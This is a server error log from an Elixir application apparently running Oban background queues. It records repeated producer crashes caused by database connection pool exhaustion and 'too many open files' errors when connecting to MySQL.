[Sun Sep  6 00:26:20.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1093ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:26:08.239880Z], limit: 3, uuid: "eab5a693-5467-452a-aadb-2500aef22154", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:26:08.239886Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.59448>, refresh_timer: #Reference<0.2525715032.1068498948.59422>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:26:20.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1074ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:26:08.239725Z], limit: 5, uuid: "d13636b7-454b-474b-995f-c99f83df50bb", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:26:08.239730Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.38030>, refresh_timer: #Reference<0.2525715032.1077673987.38023>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:26:20.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 847ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:26:08.239212Z], limit: 20, uuid: "4fc86b2b-2d03-440f-8e36-5cf7be7f64a8", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:26:08.239219Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.59447>, refresh_timer: #Reference<0.2525715032.1068498948.59423>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:26:20.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1066ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:26:08.239829Z], limit: 5, uuid: "7dcaaef9-f797-4475-8259-d503ae12def2", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:26:08.239834Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.59450>, refresh_timer: #Reference<0.2525715032.1099431938.58466>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:26:20.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1060ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:26:08.239372Z], limit: 10, uuid: "13cd3a30-cd2c-4d40-970d-d0db2ca70b6a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:26:08.239377Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.59449>, refresh_timer: #Reference<0.2525715032.1121189889.189149>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:26:20.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 829ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:26:08.240056Z], limit: 50, uuid: "16c48e1a-db88-4d61-807f-cd526592d6f5", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:26:08.240061Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.59451>, refresh_timer: #Reference<0.2525715032.1099431938.58473>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:26:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1151.7ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Sun Sep  6 00:26:26.456000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:26:29.776000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:26:30.066000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:26:31.321000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:26:31.619000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:26:32.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1002ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:26:20.239818Z], limit: 5, uuid: "51cb8a12-bf33-4b34-aedb-938564e1f07b", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:26:20.239824Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.58547>, refresh_timer: #Reference<0.2525715032.1099431938.58532>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:26:32.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 840ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:26:20.239478Z], limit: 5, uuid: "bbe8d190-738c-4c3d-b1ae-b526bc30d64e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:26:20.239483Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.58549>, refresh_timer: #Reference<0.2525715032.1068498948.59766>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:26:32.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 830ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
